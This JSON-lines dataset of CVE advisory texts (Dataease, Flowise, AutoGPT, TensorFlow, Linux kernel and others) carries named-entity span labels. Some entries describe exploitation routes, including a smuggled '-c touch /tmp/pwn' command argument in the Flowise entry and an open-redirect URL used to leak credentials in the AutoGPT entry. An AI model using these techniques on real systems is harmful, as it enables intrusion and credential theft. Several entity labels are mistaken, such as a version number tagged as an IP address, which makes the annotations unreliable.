{"text": "Dataease is an open source data visualization analysis tool. Prior to 2.10.20, By controlling the IniFile parameter, an attacker can force the JDBC driver to load an attacker-controlled configuration file. This configuration file can inject dangerous JDBC properties, leading to remote code execution. The Redshift JDBC driver execution flow reaches a method named getJdbcIniFile. The getJdbcIniFile method implements an aggressive automatic configuration file discovery mechanism. If not explicitly restricted, it searches for a file named rsjdbc.ini. In a JDBC URL context, users can explicitly specify the configuration file via URL parameters, which allows arbitrary files on the server to be loaded as JDBC configuration files. Within the Redshift JDBC driver properties, the parameter IniFile is explicitly supported and used to load an external configuration file. This vulnerability is fixed in 2.10.20.", "spans": {"FILEPATH: rsjdbc.ini": [[541, 551]], "VULNERABILITY: remote code execution": [[279, 300]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32140"}}
{"text": "Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, due to unsafe serialization of stdio commands in the MCP adapter, an authenticated attacker can add an MCP stdio server with an arbitrary command, achieving command execution. The vulnerability lies in a bug in the input sanitization from the “Custom MCP” configuration in http://localhost:3000/canvas - where any user can add a new MCP, when doing so - adding a new MCP using stdio, the user can add any command, even though your code have input sanitization checks such as validateCommandInjection and validateArgsForLocalFileAccess, and a list of predefined specific safe commands - these commands, for example \"npx\" can be combined with code execution arguments (\"-c touch /tmp/pwn\") that enable direct code execution on the underlying OS. This vulnerability is fixed in 3.1.0.", "spans": {"URL: http://localhost:3000/canvas": [[378, 406]], "FILEPATH: /tmp/pwn": [[782, 790]], "VULNERABILITY: code execution": [[746, 760], [812, 826]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-40933"}}
{"text": "New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. Prior to version 0.10.8-alpha.10, a SQL LIKE wildcard injection vulnerability in the `/api/token/search` endpoint allows authenticated users to cause denial of service through resource exhaustion by crafting malicious search patterns. The token search endpoint accepts user-supplied `keyword` and `token` parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (`%`, `_`). This allows attackers to inject patterns that trigger expensive database queries. Version 0.10.8-alpha.10 contains a patch.", "spans": {"FILEPATH: /api/token/search": [[191, 208]], "VULNERABILITY: resource exhaustion": [[281, 300]], "VULNERABILITY: denial of service": [[255, 272]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-25591"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nixgbe: Fix NULL pointer dereference in ixgbe_xdp_setup\n\nThe ixgbe driver currently generates a NULL pointer dereference with\nsome machine (online cpus < 63). This is due to the fact that the\nmaximum value of num_xdp_queues is nr_cpu_ids. Code is in\n\"ixgbe_set_rss_queues\"\".\n\nHere's how the problem repeats itself:\nSome machine (online cpus < 63), And user set num_queues to 63 through\nethtool. Code is in the \"ixgbe_set_channels\",\n\tadapter->ring_feature[RING_F_FDIR].limit = count;\n\nIt becomes 63.\n\nWhen user use xdp, \"ixgbe_set_rss_queues\" will set queues num.\n\tadapter->num_rx_queues = rss_i;\n\tadapter->num_tx_queues = rss_i;\n\tadapter->num_xdp_queues = ixgbe_xdp_queues(adapter);\n\nAnd rss_i's value is from\n\tf = &adapter->ring_feature[RING_F_FDIR];\n\trss_i = f->indices = f->limit;\n\nSo \"num_rx_queues\" > \"num_xdp_queues\", when run to \"ixgbe_xdp_setup\",\n\tfor (i = 0; i < adapter->num_rx_queues; i++)\n\t\tif (adapter->xdp_ring[i]->xsk_umem)\n\nIt leads to panic.\n\nCall trace:\n[exception RIP: ixgbe_xdp+368]\nRIP: ffffffffc02a76a0  RSP: ffff9fe16202f8d0  RFLAGS: 00010297\nRAX: 0000000000000000  RBX: 0000000000000020  RCX: 0000000000000000\nRDX: 0000000000000000  RSI: 000000000000001c  RDI: ffffffffa94ead90\nRBP: ffff92f8f24c0c18   R8: 0000000000000000   R9: 0000000000000000\nR10: ffff9fe16202f830  R11: 0000000000000000  R12: ffff92f8f24c0000\nR13: ffff9fe16202fc01  R14: 000000000000000a  R15: ffffffffc02a7530\nORIG_RAX: ffffffffffffffff  CS: 0010  SS: 0018\n 7 [ffff9fe16202f8f0] dev_xdp_install at ffffffffa89fbbcc\n 8 [ffff9fe16202f920] dev_change_xdp_fd at ffffffffa8a08808\n 9 [ffff9fe16202f960] do_setlink at ffffffffa8a20235\n10 [ffff9fe16202fa88] rtnl_setlink at ffffffffa8a20384\n11 [ffff9fe16202fc78] rtnetlink_rcv_msg at ffffffffa8a1a8dd\n12 [ffff9fe16202fcf0] netlink_rcv_skb at ffffffffa8a717eb\n13 [ffff9fe16202fd40] netlink_unicast at ffffffffa8a70f88\n14 [ffff9fe16202fd80] netlink_sendmsg at ffffffffa8a71319\n15 [ffff9fe16202fdf0] sock_sendmsg at ffffffffa89df290\n16 [ffff9fe16202fe08] __sys_sendto at ffffffffa89e19c8\n17 [ffff9fe16202ff30] __x64_sys_sendto at ffffffffa89e1a64\n18 [ffff9fe16202ff38] do_syscall_64 at ffffffffa84042b9\n19 [ffff9fe16202ff50] entry_SYSCALL_64_after_hwframe at ffffffffa8c0008c\n\nSo I fix ixgbe_max_channels so that it will not allow a setting of queues\nto be higher than the num_online_cpus(). And when run to ixgbe_xdp_setup,\ntake the smaller value of num_rx_queues and num_xdp_queues.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[80, 104], [164, 188]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47399"}}
{"text": "XWiki Platform Old Core is a core package for XWiki Platform, a generic wiki platform. Prior to versions 13.1.0.5 and 14.3-rc-1, some resources are missing a check for inactive (not yet activated or disabled) users in XWiki, including the REST service. This means a disabled user can enable themselves using a REST call. On the same way some resources handler created by extensions are not protected by default, so an inactive user could perform actions for such extensions. This issue has existed since at least version 1.1 of XWiki for instance configured with the email activation required for new users. Now it's more critical for versions 11.3-rc-1 and later since the maintainers provided the capability to disable user without deleting them and encouraged using that feature. XWiki 14.3-rc-1 and XWiki 13.10.5 contain a patch. There is no workaround for this other than upgrading XWiki.", "spans": {"IP_ADDRESS: 13.1.0.5": [[105, 113]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-36090"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_reject_ipv6: fix nf_reject_ip6_tcphdr_put()\n\nsyzbot reported that nf_reject_ip6_tcphdr_put() was possibly sending\ngarbage on the four reserved tcp bits (th->res1)\n\nUse skb_put_zero() to clear the whole TCP header,\nas done in nf_reject_ip_tcphdr_put()\n\nBUG: KMSAN: uninit-value in nf_reject_ip6_tcphdr_put+0x688/0x6c0 net/ipv6/netfilter/nf_reject_ipv6.c:255\n  nf_reject_ip6_tcphdr_put+0x688/0x6c0 net/ipv6/netfilter/nf_reject_ipv6.c:255\n  nf_send_reset6+0xd84/0x15b0 net/ipv6/netfilter/nf_reject_ipv6.c:344\n  nft_reject_inet_eval+0x3c1/0x880 net/netfilter/nft_reject_inet.c:48\n  expr_call_ops_eval net/netfilter/nf_tables_core.c:240 [inline]\n  nft_do_chain+0x438/0x22a0 net/netfilter/nf_tables_core.c:288\n  nft_do_chain_inet+0x41a/0x4f0 net/netfilter/nft_chain_filter.c:161\n  nf_hook_entry_hookfn include/linux/netfilter.h:154 [inline]\n  nf_hook_slow+0xf4/0x400 net/netfilter/core.c:626\n  nf_hook include/linux/netfilter.h:269 [inline]\n  NF_HOOK include/linux/netfilter.h:312 [inline]\n  ipv6_rcv+0x29b/0x390 net/ipv6/ip6_input.c:310\n  __netif_receive_skb_one_core net/core/dev.c:5661 [inline]\n  __netif_receive_skb+0x1da/0xa00 net/core/dev.c:5775\n  process_backlog+0x4ad/0xa50 net/core/dev.c:6108\n  __napi_poll+0xe7/0x980 net/core/dev.c:6772\n  napi_poll net/core/dev.c:6841 [inline]\n  net_rx_action+0xa5a/0x19b0 net/core/dev.c:6963\n  handle_softirqs+0x1ce/0x800 kernel/softirq.c:554\n  __do_softirq+0x14/0x1a kernel/softirq.c:588\n  do_softirq+0x9a/0x100 kernel/softirq.c:455\n  __local_bh_enable_ip+0x9f/0xb0 kernel/softirq.c:382\n  local_bh_enable include/linux/bottom_half.h:33 [inline]\n  rcu_read_unlock_bh include/linux/rcupdate.h:908 [inline]\n  __dev_queue_xmit+0x2692/0x5610 net/core/dev.c:4450\n  dev_queue_xmit include/linux/netdevice.h:3105 [inline]\n  neigh_resolve_output+0x9ca/0xae0 net/core/neighbour.c:1565\n  neigh_output include/net/neighbour.h:542 [inline]\n  ip6_finish_output2+0x2347/0x2ba0 net/ipv6/ip6_output.c:141\n  __ip6_finish_output net/ipv6/ip6_output.c:215 [inline]\n  ip6_finish_output+0xbb8/0x14b0 net/ipv6/ip6_output.c:226\n  NF_HOOK_COND include/linux/netfilter.h:303 [inline]\n  ip6_output+0x356/0x620 net/ipv6/ip6_output.c:247\n  dst_output include/net/dst.h:450 [inline]\n  NF_HOOK include/linux/netfilter.h:314 [inline]\n  ip6_xmit+0x1ba6/0x25d0 net/ipv6/ip6_output.c:366\n  inet6_csk_xmit+0x442/0x530 net/ipv6/inet6_connection_sock.c:135\n  __tcp_transmit_skb+0x3b07/0x4880 net/ipv4/tcp_output.c:1466\n  tcp_transmit_skb net/ipv4/tcp_output.c:1484 [inline]\n  tcp_connect+0x35b6/0x7130 net/ipv4/tcp_output.c:4143\n  tcp_v6_connect+0x1bcc/0x1e40 net/ipv6/tcp_ipv6.c:333\n  __inet_stream_connect+0x2ef/0x1730 net/ipv4/af_inet.c:679\n  inet_stream_connect+0x6a/0xd0 net/ipv4/af_inet.c:750\n  __sys_connect_file net/socket.c:2061 [inline]\n  __sys_connect+0x606/0x690 net/socket.c:2078\n  __do_sys_connect net/socket.c:2088 [inline]\n  __se_sys_connect net/socket.c:2085 [inline]\n  __x64_sys_connect+0x91/0xe0 net/socket.c:2085\n  x64_sys_call+0x27a5/0x3ba0 arch/x86/include/generated/asm/syscalls_64.h:43\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nUninit was stored to memory at:\n  nf_reject_ip6_tcphdr_put+0x60c/0x6c0 net/ipv6/netfilter/nf_reject_ipv6.c:249\n  nf_send_reset6+0xd84/0x15b0 net/ipv6/netfilter/nf_reject_ipv6.c:344\n  nft_reject_inet_eval+0x3c1/0x880 net/netfilter/nft_reject_inet.c:48\n  expr_call_ops_eval net/netfilter/nf_tables_core.c:240 [inline]\n  nft_do_chain+0x438/0x22a0 net/netfilter/nf_tables_core.c:288\n  nft_do_chain_inet+0x41a/0x4f0 net/netfilter/nft_chain_filter.c:161\n  nf_hook_entry_hookfn include/linux/netfilter.h:154 [inline]\n  nf_hook_slow+0xf4/0x400 net/netfilter/core.c:626\n  nf_hook include/linux/netfilter.h:269 [inline]\n  NF_HOOK include/linux/netfilter.h:312 [inline]\n  ipv6_rcv+0x29b/0x390 net/ipv6/ip6_input.c:310\n  __netif_receive_skb_one_core\n---truncated---", "spans": {"FILEPATH: /ipv6/netfilter/nf_reject_ipv6.c": [[403, 435], [482, 514], [552, 584], [3319, 3351], [3389, 3421]], "FILEPATH: /netfilter/nft_reject_inet.c": [[627, 655], [3464, 3492]], "FILEPATH: /netfilter/nf_tables_core.c": [[683, 710], [755, 782], [3520, 3547], [3592, 3619]], "FILEPATH: /netfilter/nft_chain_filter.c": [[822, 851], [3659, 3688]], "FILEPATH: /linux/netfilter.h": [[886, 904], [986, 1004], [1035, 1053], [2149, 2167], [2293, 2311], [3723, 3741], [3823, 3841], [3872, 3890]], "FILEPATH: /netfilter/core.c": [[947, 964], [3784, 3801]], "FILEPATH: /ipv6/ip6_input.c": [[1093, 1110], [3930, 3947]], "FILEPATH: /core/dev.c": [[1149, 1160], [1212, 1223], [1262, 1273], [1307, 1318], [1339, 1350], [1397, 1408], [1763, 1774]], "FILEPATH: /linux/bottom_half.h": [[1635, 1655]], "FILEPATH: /linux/rcupdate.h": [[1696, 1713]], "FILEPATH: /linux/netdevice.h": [[1804, 1822]], "FILEPATH: /core/neighbour.c": [[1875, 1892]], "FILEPATH: /net/neighbour.h": [[1920, 1936]], "FILEPATH: /ipv6/ip6_output.c": [[1988, 2006], [2036, 2054], [2104, 2122], [2209, 2227], [2353, 2371]], "FILEPATH: /net/dst.h": [[2252, 2262]], "FILEPATH: /ipv6/inet6_connection_sock.c": [[2408, 2437]], "FILEPATH: /ipv4/tcp_output.c": [[2480, 2498], [2526, 2544], [2590, 2608]], "FILEPATH: /ipv6/tcp_ipv6.c": [[2648, 2664]], "FILEPATH: /ipv4/af_inet.c": [[2709, 2724], [2764, 2779]], "FILEPATH: /x86/include/generated/asm/syscalls_64.h": [[3051, 3091]], "FILEPATH: /x86/entry/common.c": [[3116, 3135], [3179, 3198]], "FILEPATH: softirq.c": [[1451, 1460], [1497, 1506], [1542, 1551], [1596, 1605]], "FILEPATH: socket.c": [[2809, 2817], [2864, 2872], [2901, 2909], [2947, 2955], [3004, 3012]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-47685"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a heap buffer overflow by passing crafted inputs to `tf.raw_ops.StringNGrams`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/1cdd4da14282210cc759e468d9781741ac7d01bf/tensorflow/core/kernels/string_ngrams_op.cc#L171-L185) fails to consider corner cases where input would be split in such a way that the generated tokens should only contain padding elements. If input is such that `num_tokens` is 0, then, for `data_start_index=0` (when left padding is present), the marked line would result in reading `data[-1]`. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/1cdd4da14282210cc759e468d9781741ac7d01bf/tensorflow/core/kernels/string_ngrams_op.cc#L171-L185": [[207, 347]], "VULNERABILITY: buffer overflow": [[100, 115]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29542"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwatch_queue: Actually free the watch\n\nfree_watch() does everything barring actually freeing the watch object.  Fix\nthis by adding the missing kfree.\n\nkmemleak produces a report something like the following.  Note that as an\naddress can be seen in the first word, the watch would appear to have gone\nthrough call_rcu().\n\nBUG: memory leak\nunreferenced object 0xffff88810ce4a200 (size 96):\n  comm \"syz-executor352\", pid 3605, jiffies 4294947473 (age 13.720s)\n  hex dump (first 32 bytes):\n    e0 82 48 0d 81 88 ff ff 00 00 00 00 00 00 00 00  ..H.............\n    80 a2 e4 0c 81 88 ff ff 00 00 00 00 00 00 00 00  ................\n  backtrace:\n    [<ffffffff8214e6cc>] kmalloc include/linux/slab.h:581 [inline]\n    [<ffffffff8214e6cc>] kzalloc include/linux/slab.h:714 [inline]\n    [<ffffffff8214e6cc>] keyctl_watch_key+0xec/0x2e0 security/keys/keyctl.c:1800\n    [<ffffffff8214ec84>] __do_sys_keyctl+0x3c4/0x490 security/keys/keyctl.c:2016\n    [<ffffffff84493a25>] do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n    [<ffffffff84493a25>] do_syscall_64+0x35/0xb0 arch/x86/entry/common.c:80\n    [<ffffffff84600068>] entry_SYSCALL_64_after_hwframe+0x44/0xae", "spans": {"FILEPATH: /linux/slab.h": [[747, 760], [814, 827]], "FILEPATH: /keys/keyctl.c": [[902, 916], [983, 997]], "FILEPATH: /x86/entry/common.c": [[1047, 1066], [1132, 1151]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[394, 405]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49256"}}
{"text": "An improper verification of cryptographic signature vulnerability exists in Cortex XSOAR SAML authentication that enables an unauthenticated network-based attacker with specific knowledge of the Cortex XSOAR instance to access protected resources and perform unauthorized actions on the Cortex XSOAR server. This issue impacts: Cortex XSOAR 5.5.0 builds earlier than 1578677; Cortex XSOAR 6.0.2 builds earlier than 1576452; Cortex XSOAR 6.1.0 builds earlier than 1578663; Cortex XSOAR 6.2.0 builds earlier than 1578666. All Cortex XSOAR instances hosted by Palo Alto Networks are protected from this vulnerability; no additional action is required for these instances.", "spans": {"ORGANIZATION: Palo Alto Networks": [[557, 575]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-3051"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwatch_queue: Fix filter limit check\n\nIn watch_queue_set_filter(), there are a couple of places where we check\nthat the filter type value does not exceed what the type_filter bitmap\ncan hold.  One place calculates the number of bits by:\n\n   if (tf[i].type >= sizeof(wfilter->type_filter) * 8)\n\nwhich is fine, but the second does:\n\n   if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG)\n\nwhich is not.  This can lead to a couple of out-of-bounds writes due to\na too-large type:\n\n (1) __set_bit() on wfilter->type_filter\n (2) Writing more elements in wfilter->filters[] than we allocated.\n\nFix this by just using the proper WATCH_TYPE__NR instead, which is the\nnumber of types we actually know about.\n\nThe bug may cause an oops looking something like:\n\n  BUG: KASAN: slab-out-of-bounds in watch_queue_set_filter+0x659/0x740\n  Write of size 4 at addr ffff88800d2c66bc by task watch_queue_oob/611\n  ...\n  Call Trace:\n   <TASK>\n   dump_stack_lvl+0x45/0x59\n   print_address_description.constprop.0+0x1f/0x150\n   ...\n   kasan_report.cold+0x7f/0x11b\n   ...\n   watch_queue_set_filter+0x659/0x740\n   ...\n   __x64_sys_ioctl+0x127/0x190\n   do_syscall_64+0x43/0x90\n   entry_SYSCALL_64_after_hwframe+0x44/0xae\n\n  Allocated by task 611:\n   kasan_save_stack+0x1e/0x40\n   __kasan_kmalloc+0x81/0xa0\n   watch_queue_set_filter+0x23a/0x740\n   __x64_sys_ioctl+0x127/0x190\n   do_syscall_64+0x43/0x90\n   entry_SYSCALL_64_after_hwframe+0x44/0xae\n\n  The buggy address belongs to the object at ffff88800d2c66a0\n   which belongs to the cache kmalloc-32 of size 32\n  The buggy address is located 28 bytes inside of\n   32-byte region [ffff88800d2c66a0, ffff88800d2c66c0)", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48847"}}
{"text": "microsoft-graph-core the Microsoft Graph Library for PHP. The Microsoft Graph Beta PHP SDK published packages which contained test code that enabled the use of the phpInfo() function from any application that could access and execute the file at `vendor/microsoft/microsoft-graph-core/tests/GetPhpInfo.php`. The phpInfo function exposes system information. The vulnerability affects the GetPhpInfo.php script of the PHP SDK which contains a call to the phpinfo() function. This vulnerability requires a misconfiguration of the server to be present so it can be exploited. For example, making the PHP application’s /vendor directory web accessible. The combination of the vulnerability and the server misconfiguration would allow an attacker to craft an HTTP request that executes the phpinfo() method. The attacker would then be able to get access to system information like configuration, modules, and environment variables and later on use the compromised secrets to access additional data. This problem has been patched in version 2.0.2. If an immediate deployment with the updated vendor package is not available, you can perform the following temporary workarounds: delete the `vendor/microsoft/microsoft-graph-core/tests/GetPhpInfo.php` file, remove access to the /vendor directory, or disable the phpinfo function", "spans": {"FILEPATH: /microsoft/microsoft-graph-core/tests/GetPhpInfo.php": [[253, 305], [1189, 1241]], "FILEPATH: GetPhpInfo.php": [[387, 401]], "SYSTEM: PHP": [[53, 56], [83, 86], [416, 419], [596, 599]], "ORGANIZATION: Microsoft": [[25, 34], [62, 71]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-49283"}}
{"text": "Vulnerability in the Oracle CRM Technical Foundation product of Oracle E-Business Suite (component: Flex Fields). Supported versions that are affected are 12.1.3 and 12.2.3 - 12.2.10. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle CRM Technical Foundation. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle CRM Technical Foundation, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle CRM Technical Foundation accessible data as well as unauthorized update, insert or delete access to some of Oracle CRM Technical Foundation accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [64, 70], [292, 298], [442, 448], [647, 653], [762, 768]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14850"}}
{"text": "In ISC DHCP 4.1-ESV-R1 -> 4.1-ESV-R16, ISC DHCP 4.4.0 -> 4.4.2 (Other branches of ISC DHCP (i.e., releases in the 4.0.x series or lower and releases in the 4.3.x series) are beyond their End-of-Life (EOL) and no longer supported by ISC. From inspection it is clear that the defect is also present in releases from those series, but they have not been officially tested for the vulnerability), The outcome of encountering the defect while reading a lease that will trigger it varies, according to: the component being affected (i.e., dhclient or dhcpd) whether the package was built as a 32-bit or 64-bit binary whether the compiler flag -fstack-protection-strong was used when compiling In dhclient, ISC has not successfully reproduced the error on a 64-bit system. However, on a 32-bit system it is possible to cause dhclient to crash when reading an improper lease, which could cause network connectivity problems for an affected system due to the absence of a running DHCP client process. In dhcpd, when run in DHCPv4 or DHCPv6 mode: if the dhcpd server binary was built for a 32-bit architecture AND the -fstack-protection-strong flag was specified to the compiler, dhcpd may exit while parsing a lease file containing an objectionable lease, resulting in lack of service to clients. Additionally, the offending lease and the lease immediately following it in the lease database may be improperly deleted. if the dhcpd server binary was built for a 64-bit architecture OR if the -fstack-protection-strong compiler flag was NOT specified, the crash will not occur, but it is possible for the offending lease and the lease which immediately followed it to be improperly deleted.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-25217"}}
{"text": "Privilege Escalation vulnerability in Apache Software Foundation Apache Sling.\nAny content author is able to create i18n dictionaries in the repository in a location the author has write access to. As these translations are used across the whole product, it allows an author to change any text or dialog in the product. For example an attacker might fool someone by changing the text on a delete button to \"Info\".\nThis issue affects the i18n module of Apache Sling up to version 2.5.18. Version 2.6.2 and higher limit by default i18m dictionaries to certain paths in the repository (/libs and /apps).\n\nUsers of the module are advised to update to version 2.6.2 or higher, check the configuration for resource loading and then adjust the access permissions for the configured path accordingly.", "spans": {"ORGANIZATION: Apache": [[38, 44], [65, 71], [452, 458]], "VULNERABILITY: Privilege Escalation": [[0, 20]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-25621"}}
{"text": "AutoGPT is a platform that allows users to create, deploy, and manage continuous artificial intelligence agents that automate complex workflows. Prior to 0.6.1, AutoGPT allows of leakage of cross-domain cookies and protected headers in requests redirect. AutoGPT uses a wrapper around the requests python library, located in autogpt_platform/backend/backend/util/request.py. In this wrapper, redirects are specifically NOT followed for the first request. If the wrapper is used with allow_redirects set to True (which is the default), any redirect is not followed by the initial request, but rather re-requested by the wrapper using the new location. However, there is a fundamental flaw in manually re-requesting the new location: it does not account for security-sensitive headers which should not be sent cross-origin, such as the Authorization and Proxy-Authorization header, and cookies. For example in autogpt_platform/backend/backend/blocks/github/_api.py, an Authorization header is set when retrieving data from the GitHub API. However, if GitHub suffers from an open redirect vulnerability (such as the made-up example of https://api.github.com/repos/{owner}/{repo}/issues/comments/{comment_id}/../../../../../redirect/?url=https://joshua.hu/), and the script can be coerced into visiting it with the Authorization header, the GitHub credentials in the Authorization header will be leaked. This allows leaking auth headers and private cookies. This vulnerability is fixed in 0.6.1.", "spans": {"URL: https://api.github.com/repos/{owner}/{repo}/issues/comments/{comment_id}/../../../../../redirect/?url=https://joshua.hu/": [[1132, 1252]], "FILEPATH: /backend/backend/util/request.py.": [[341, 374]], "FILEPATH: /backend/backend/blocks/github/_api.py": [[924, 962]], "ORGANIZATION: GitHub": [[1025, 1031], [1049, 1055], [1337, 1343]], "VULNERABILITY: open redirect": [[1072, 1085]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-31491"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nudp: Fix wildcard bind conflict check when using hash2\n\nWhen binding a udp_sock to a local address and port, UDP uses\ntwo hashes (udptable->hash and udptable->hash2) for collision\ndetection. The current code switches to \"hash2\" when\nhslot->count > 10.\n\n\"hash2\" is keyed by local address and local port.\n\"hash\" is keyed by local port only.\n\nThe issue can be shown in the following bind sequence (pseudo code):\n\nbind(fd1,  \"[fd00::1]:8888\")\nbind(fd2,  \"[fd00::2]:8888\")\nbind(fd3,  \"[fd00::3]:8888\")\nbind(fd4,  \"[fd00::4]:8888\")\nbind(fd5,  \"[fd00::5]:8888\")\nbind(fd6,  \"[fd00::6]:8888\")\nbind(fd7,  \"[fd00::7]:8888\")\nbind(fd8,  \"[fd00::8]:8888\")\nbind(fd9,  \"[fd00::9]:8888\")\nbind(fd10, \"[fd00::10]:8888\")\n\n/* Correctly return -EADDRINUSE because \"hash\" is used\n * instead of \"hash2\". udp_lib_lport_inuse() detects the\n * conflict.\n */\nbind(fail_fd, \"[::]:8888\")\n\n/* After one more socket is bound to \"[fd00::11]:8888\",\n * hslot->count exceeds 10 and \"hash2\" is used instead.\n */\nbind(fd11, \"[fd00::11]:8888\")\nbind(fail_fd, \"[::]:8888\")      /* succeeds unexpectedly */\n\nThe same issue applies to the IPv4 wildcard address \"0.0.0.0\"\nand the IPv4-mapped wildcard address \"::ffff:0.0.0.0\". For\nexample, if there are existing sockets bound to\n\"192.168.1.[1-11]:8888\", then binding \"0.0.0.0:8888\" or\n\"[::ffff:0.0.0.0]:8888\" can also miss the conflict when\nhslot->count > 10.\n\nTCP inet_csk_get_port() already has the correct check in\ninet_use_bhash2_on_bind(). Rename it to\ninet_use_hash2_on_bind() and move it to inet_hashtables.h\nso udp.c can reuse it in this fix.", "spans": {"IP_ADDRESS: 0.0.0.0": [[1188, 1195], [1242, 1249], [1343, 1350], [1369, 1376]], "FILEPATH: inet_hashtables.h": [[1573, 1590]], "FILEPATH: udp.c": [[1594, 1599]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31503"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnbd: fix uaf in nbd_genl_connect() error path\n\nThere is a use-after-free issue in nbd:\n\nblock nbd6: Receive control failed (result -104)\nblock nbd6: shutting down sockets\n==================================================================\nBUG: KASAN: slab-use-after-free in recv_work+0x694/0xa80 drivers/block/nbd.c:1022\nWrite of size 4 at addr ffff8880295de478 by task kworker/u33:0/67\n\nCPU: 2 UID: 0 PID: 67 Comm: kworker/u33:0 Not tainted 6.15.0-rc5-syzkaller-00123-g2c89c1b655c0 #0 PREEMPT(full)\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014\nWorkqueue: nbd6-recv recv_work\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:408 [inline]\n print_report+0xc3/0x670 mm/kasan/report.c:521\n kasan_report+0xe0/0x110 mm/kasan/report.c:634\n check_region_inline mm/kasan/generic.c:183 [inline]\n kasan_check_range+0xef/0x1a0 mm/kasan/generic.c:189\n instrument_atomic_read_write include/linux/instrumented.h:96 [inline]\n atomic_dec include/linux/atomic/atomic-instrumented.h:592 [inline]\n recv_work+0x694/0xa80 drivers/block/nbd.c:1022\n process_one_work+0x9cc/0x1b70 kernel/workqueue.c:3238\n process_scheduled_works kernel/workqueue.c:3319 [inline]\n worker_thread+0x6c8/0xf10 kernel/workqueue.c:3400\n kthread+0x3c2/0x780 kernel/kthread.c:464\n ret_from_fork+0x45/0x80 arch/x86/kernel/process.c:153\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245\n </TASK>\n\nnbd_genl_connect() does not properly stop the device on certain\nerror paths after nbd_start_device() has been called. This causes\nthe error path to put nbd->config while recv_work continue to use\nthe config after putting it, leading to use-after-free in recv_work.\n\nThis patch moves nbd_start_device() after the backend file creation.", "spans": {"FILEPATH: /block/nbd.c": [[371, 383], [1237, 1249]], "FILEPATH: /01/2014": [[658, 666]], "FILEPATH: /kasan/report.c": [[839, 854], [895, 910], [942, 957]], "FILEPATH: /kasan/generic.c": [[985, 1001], [1047, 1063]], "FILEPATH: /linux/instrumented.h": [[1105, 1126]], "FILEPATH: /linux/atomic/atomic-instrumented.h": [[1158, 1193]], "FILEPATH: /x86/kernel/process.c": [[1490, 1511]], "FILEPATH: /x86/entry/entry_64.S": [[1549, 1570]], "FILEPATH: dump_stack.c": [[736, 748], [793, 805]], "FILEPATH: workqueue.c": [[1293, 1304], [1342, 1353], [1402, 1413]], "FILEPATH: kthread.c": [[1447, 1456]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[583, 587]], "VULNERABILITY: use-after-free": [[127, 141], [324, 338], [1821, 1835]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38443"}}
